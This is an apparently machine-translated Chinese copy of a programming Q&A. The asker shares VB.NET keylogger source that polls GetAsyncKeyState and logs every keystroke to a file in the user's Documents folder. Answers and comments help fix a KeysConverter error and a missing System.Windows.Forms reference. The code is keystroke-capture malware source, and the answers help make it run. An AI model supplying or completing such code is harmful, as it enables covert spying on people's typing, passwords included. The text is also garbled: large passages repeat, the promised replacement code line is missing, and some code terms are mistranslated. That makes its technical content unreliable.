Vb.net 无法在键盘记录器程序中使用KeyConverter

Vb.net 无法在键盘记录器程序中使用KeyConverter,vb.net,keylogger,Vb.net,Keylogger,我正在尝试创建一个基本的键记录程序。我对网络安全感兴趣,想了解更多。我已经将下面来自不同来源的代码散列在一起。 行text=converter.ToString(i)生成索引越界错误。 我认为这是因为对象转换器没有按它应该的那样实例化??但如何修复呢 Imports System.IO Imports System.Text Imports System.Windows.Forms Imports System.Runtime.InteropServices Imports System.Thr

我正在尝试创建一个基本的键记录程序。我对网络安全感兴趣,想了解更多。我已经将下面来自不同来源的代码散列在一起。 行text=converter.ToString(i)生成索引越界错误。 我认为这是因为对象转换器没有按它应该的那样实例化??但如何修复呢

Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading

Module Module1
     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
    Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    filepath &= "\LogsFolder\"

    If (Not Directory.Exists(filepath)) Then
        Directory.CreateDirectory(filepath)
    End If

    Dim Path = (filepath & "LoggedKeys.text")

    If Not File.Exists(Path) Then
        Using sw As StreamWriter = File.CreateText(Path)
        End Using
    End If

    Dim Converter = New KeysConverter()
    Dim text As String = ""

    While (True)
        Thread.Sleep(5)
        For i As Integer = 0 To 1999
            Dim key = GetAsyncKeyState(i)
            If key = 1 Or key = -32767 Then
                text = converter.ToString(i)
                Using sw As StreamWriter = File.AppendText(Path)
                    sw.WriteLine(text)
                End Using
                Exit For
            End If
        Next
    End While

End Sub

End Module

看起来你在寻找方法

替换以下行:

text = converter.ToString(i)
与:


编辑以解决评论中的问题:

我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。。。听起来我的实例化没有起作用

将鼠标光标悬停在
转换器
变量上,然后仔细检查其类型。确保
keyconverter
实际上是
System.Windows.Forms.keyconverter
类,而不是某种本地生成的类

MyImports System.Windows.Forms语句被重影-表明它从未使用过

这就是我所怀疑的。您似乎在控制台应用程序中,正在访问
System.Windows.Forms
命名空间中的类,该命名空间未包含在控制台应用程序中。您需要添加对System.Windows.Forms.dll的引用,如中所述


另外,请确保从项目中找到并删除生成的KeyConverter类,以避免冲突。

看起来您正在寻找该方法

替换以下行:

text = converter.ToString(i)
与:


编辑以解决评论中的问题:

我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。。。听起来我的实例化没有起作用

将鼠标光标悬停在
转换器
变量上,然后仔细检查其类型。确保
keyconverter
实际上是
System.Windows.Forms.keyconverter
类,而不是某种本地生成的类

MyImports System.Windows.Forms语句被重影-表明它从未使用过

这就是我所怀疑的。您似乎在控制台应用程序中,正在访问
System.Windows.Forms
命名空间中的类,该命名空间未包含在控制台应用程序中。您需要添加对System.Windows.Forms.dll的引用,如中所述


另外,请确保从项目中找到并删除生成的KeyConverter类,以避免冲突。

谢谢您的回答。不幸的是,这行不通。我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。这正是困扰我的地方-听起来我的实例化没有工作,因此我不能给MEHOD打电话你的实例化没有工作是什么意思?将光标悬停在
转换器
变量上,并仔细检查其类型。请确保
keyconverter
实际上是
System.Windows.Forms.keyconverter
类,而不是某种本地生成的类。谢谢您回到我这里。MyImports System.Windows.Forms语句被重影-表明它从未使用过。我猜这就是为什么我不能访问ConvertToString方法-当我在变量“converter”后键入句号时,它不会弹出。明白了!!!你是对的。不知何故,我设法创建了一个偷偷摸摸的本地类-可能输入了一个句点,然后在没有检查它正在做什么的情况下敲打了enter。@Rich,我编辑了答案,以解决您上次对System.Windows.Forms引用的担忧。谢谢您的回答。不幸的是,这行不通。我得到一个语法错误,“ConvertToString”不是KeyConverter的成员。这正是困扰我的地方-听起来我的实例化没有工作,因此我不能给MEHOD打电话你的实例化没有工作是什么意思?将光标悬停在
转换器
变量上,并仔细检查其类型。请确保
keyconverter
实际上是
System.Windows.Forms.keyconverter
类,而不是某种本地生成的类。谢谢您回到我这里。MyImports System.Windows.Forms语句被重影-表明它从未使用过。我猜这就是为什么我不能访问ConvertToString方法-当我在变量“converter”后键入句号时,它不会弹出。明白了!!!你是对的。不知何故,我设法创建了一个偷偷摸摸的本地类-可能输入了一个句点,然后在没有检查它在做什么的情况下敲打了enter。@Rich,我编辑了答案以解决您上次对System.Windows.Forms引用的担忧。我很确定它应该是
Dim converter as New Keyconverter()
。我认为当您使用
=New
语法时,没有为变量定义类型,因此它变成了对象类型。@RBarryYoung不,它们实际上是一样的
Dim foo=newbar()
类似于
var foo=newbar(),而
Dim foo As New Bar()
Dim foo As Bar=New Bar()
的缩写,相当于
Bar foo=New Bar()看起来像。非常确定它应该是
变光器作为新的KeyConverter()
。我认为当您使用
=New
语法时,没有为变量定义类型,因此它变成了对象类型。@RBarryYoung不,它们实际上是一样的
Dim foo=newbar()
类似于
var foo=newbar(),而
Dim foo As New Bar()
Dim foo As Bar=New Bar()
的缩写,相当于
Bar foo=New Bar()看起来像。